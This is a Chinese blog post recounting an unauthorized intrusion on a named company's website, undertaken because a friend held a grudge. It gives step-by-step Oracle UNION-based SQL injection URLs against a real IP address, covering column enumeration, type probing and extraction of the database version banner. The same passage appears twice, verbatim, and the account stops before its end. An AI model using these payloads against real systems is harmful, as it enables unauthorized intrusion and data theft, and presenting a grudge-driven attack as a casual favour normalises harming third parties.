对著名快递公司的艰难的oracle入侵过程(图)
程序员文章站
2022-11-28 08:46:57
轻车熟路
一个对新飞鸿有意见的亲密朋友找我说能不能把这个公司的网站给搞了,我一听公司,心想,企业站都是垃圾,好搞,便痛快答应(人品真好!),呵呵,但是后来才发现没我想像... 08-10-08...
轻车熟路
一个对新飞鸿有意见的亲密朋友找我说能不能把这个公司的网站给搞了,我一听公司,心想,企业站都是垃圾,好搞,便痛快答应(人品真好!),呵呵,但是后来才发现没我想像的那么简单。
asp的页面,啊d和google扫注入点没有,意料之中,工具误差太大!于是旁注,结果只有这一个站,然后便边开着流光扫服务器边习惯性的去站上乱逛去手工找注入点,一会的功夫出来一条链接,如图:
习惯性的单引号,如图
很明显的注入,猜测源码大体是这样的:
select xx from xxx where wen='云南';
而且数据库类型为oracle,顿时来了精神,很少有这种练手的机会!估计服务器配置肯定不错!由于这种类型的数据库没什么好的工具,就直接来手工吧,那样比较刺激,据我朋友说这个公司很大,网络也很大,数据库量更是大上加大,难怪用oracle呢,所以放弃后台提权的想法!首先用union查询确定字段数和暴一些敏感资料,提交如下url:
http://211.154.103.15/server2.asp?wen=四川省' order by 20--;
返回正确,说明此表字段名大于20,继续提交
http://211.154.103.15/server2.asp?wen=四川省' order by 30--;
仍然返回正确,经过一些列的猜测然后提交,49返回正确,50出错,确定字段为49个,然后提交以下url:
http://211.154.103.15/server2.asp?wen=四川省' union select null,null,……,null from dual-
中间省略,一共49个null, 由于union查询需要数据类型匹配,否则出错,所以这里用null而不用数字可以避免类型错误,然后提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select 1,null,……,null from dual--;
出错显示类型不匹配,换成
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',null,……,null from dual--;
返回正确,说明第一个是字符型的,但是下面对应位置并没有显示,继续按以上方法尝试后面48个,当试到12和13时,下面对应位置显示了,如图
好了,现在我们就要用下面那两个地方爆我们需要的东西,看下oracle版本,提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',null,……,'11', (select banner from sys.v_$version where rownum=1),'13'……null from dual--;
一个对新飞鸿有意见的亲密朋友找我说能不能把这个公司的网站给搞了,我一听公司,心想,企业站都是垃圾,好搞,便痛快答应(人品真好!),呵呵,但是后来才发现没我想像的那么简单。
asp的页面,啊d和google扫注入点没有,意料之中,工具误差太大!于是旁注,结果只有这一个站,然后便边开着流光扫服务器边习惯性的去站上乱逛去手工找注入点,一会的功夫出来一条链接,如图:
习惯性的单引号,如图
很明显的注入,猜测源码大体是这样的:
select xx from xxx where wen='云南';
而且数据库类型为oracle,顿时来了精神,很少有这种练手的机会!估计服务器配置肯定不错!由于这种类型的数据库没什么好的工具,就直接来手工吧,那样比较刺激,据我朋友说这个公司很大,网络也很大,数据库量更是大上加大,难怪用oracle呢,所以放弃后台提权的想法!首先用union查询确定字段数和暴一些敏感资料,提交如下url:
http://211.154.103.15/server2.asp?wen=四川省' order by 20--;
返回正确,说明此表字段名大于20,继续提交
http://211.154.103.15/server2.asp?wen=四川省' order by 30--;
仍然返回正确,经过一些列的猜测然后提交,49返回正确,50出错,确定字段为49个,然后提交以下url:
http://211.154.103.15/server2.asp?wen=四川省' union select null,null,……,null from dual-
中间省略,一共49个null, 由于union查询需要数据类型匹配,否则出错,所以这里用null而不用数字可以避免类型错误,然后提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select 1,null,……,null from dual--;
出错显示类型不匹配,换成
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',null,……,null from dual--;
返回正确,说明第一个是字符型的,但是下面对应位置并没有显示,继续按以上方法尝试后面48个,当试到12和13时,下面对应位置显示了,如图
好了,现在我们就要用下面那两个地方爆我们需要的东西,看下oracle版本,提交
http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',null,……,'11', (select banner from sys.v_$version where rownum=1),'13'……null from dual--;